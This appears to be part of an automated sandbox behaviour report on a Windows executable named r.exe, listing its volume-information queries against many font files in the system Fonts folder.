                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\impact.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\taile.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\pala.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\palai.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\palab.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\r.exeQueries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformationJump to behavior
